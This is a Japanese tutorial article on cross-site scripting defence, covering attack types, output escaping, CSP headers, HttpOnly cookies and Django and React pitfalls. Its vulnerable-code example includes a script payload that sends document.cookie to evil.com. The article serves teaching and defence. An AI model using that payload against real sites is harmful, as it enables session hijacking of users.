Webセキュリティ

XSS(クロスサイトスクリプティング)対策|Webアプリを脆弱性から守る

セキュリティ XSS Web

XSS(クロスサイトスクリプティング)対策
Webアプリを脆弱性から守る

XSS(Cross-Site Scripting)は、悪意のあるJavaScriptをWebページに埋め込む攻撃手法で、OWASP Top 10にも含まれる代表的な脆弱性です。
この記事では、XSSの仕組みと具体的な対策方法を解説します。

こんな人向けの記事です

  • XSSの仕組みを理解したい
  • 自分のWebアプリにXSS脆弱性がないか確認したい
  • 具体的な対策コードを知りたい

Step 1XSSとは

XSSは、ユーザーの入力データがそのままHTMLに出力されることで、攻撃者が仕込んだJavaScriptが他のユーザーのブラウザで実行される脆弱性です。

攻撃者
悪意のあるスクリプトを投稿
サーバー
入力をそのまま保存
被害者のブラウザ
スクリプトが実行される

被害の例

被害詳細
Cookie窃取セッションIDを盗まれ、アカウントを乗っ取られる
フィッシング偽のログインフォームを表示される
キーロガー入力内容を盗聴される
ページ改ざんページの内容を書き換えられる

Step 2XSSの3つの種類

種類仕組み
反射型(Reflected)URLのパラメータがそのまま表示される検索結果ページ
格納型(Stored)DBに保存された入力が他のユーザーに表示される掲示板、コメント欄
DOM型JavaScriptがDOMを操作する際に発生SPAアプリ

脆弱なコードの例

HTML(脆弱)
<!-- NG: ユーザー入力をそのまま出力 -->
<p>検索結果: {{ user_input }}</p>

<!-- 攻撃者が以下を入力すると... -->
<script>document.location='https://evil.com/?cookie='+document.cookie</script>

Step 3対策1:出力時のエスケープ

最も基本的な対策は、HTML出力時に特殊文字をエスケープすることです。

文字エスケープ後
<&lt;
>&gt;
&&amp;
"&quot;
'&#x27;
JavaScript
// エスケープ関数
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// textContent を使えばエスケープ不要
element.textContent = userInput;  // 安全
element.innerHTML = userInput;    // 危険!
innerHTMLは使わない
element.innerHTML = userInput はXSSの温床です。
element.textContent = userInput を使えば、HTMLとして解釈されません。

Step 4対策2:Content Security Policy(CSP)

HTTPレスポンスヘッダー
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self';" always;

Step 5対策3:HttpOnly Cookie

サーバー側(例)
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
属性効果
HttpOnlyJavaScriptからCookieにアクセス不可(document.cookieで取れない)
SecureHTTPS通信でのみCookieを送信
SameSite=Strict他サイトからのリクエストにCookieを付けない

Step 6フレームワーク別の対策

Django(自動エスケープ)

Django テンプレート
<!-- 自動エスケープされる(安全) -->
{{ user_input }}

<!-- エスケープを無効化(危険!本当に必要な場合のみ) -->
{{ user_input|safe }}

React(デフォルトで安全)

React
// 自動エスケープされる(安全)
return <p>{userInput}</p>;

// 危険!HTMLをそのまま挿入
return <p dangerouslySetInnerHTML={{__html: userInput}} />;

まとめ

  • 出力時のエスケープが最も基本的な対策
  • textContent を使い、innerHTML は避ける
  • CSPヘッダーでインラインスクリプトの実行を制限
  • Cookieに HttpOnly / Secure / SameSite を設定
  • Django・Reactなどのフレームワークは自動エスケープを活用する